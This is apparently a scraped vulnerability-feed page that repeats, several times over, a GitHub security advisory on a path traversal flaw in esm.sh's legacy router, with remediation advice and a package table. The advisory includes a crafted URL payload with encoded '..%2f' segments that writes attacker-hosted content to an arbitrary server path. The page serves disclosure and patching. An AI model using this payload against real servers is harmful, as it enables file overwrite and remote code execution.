### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team
### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team
Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanesm.sh: Legacy Route Path Traversal Can Lead to RCE affects github.com/esm-dev/esm.sh (go). Severity is high. ### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/esm-dev/esm.shgo | <0.0.0-20260508100112-1960055e1d53 | 0.0.0-20260508100112-1960055e1d53 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanesm.sh: Legacy Route Path Traversal Can Lead to RCE affects github.com/esm-dev/esm.sh (go). Severity is high. ### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/esm-dev/esm.shgo | <0.0.0-20260508100112-1960055e1d53 | 0.0.0-20260508100112-1960055e1d53 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard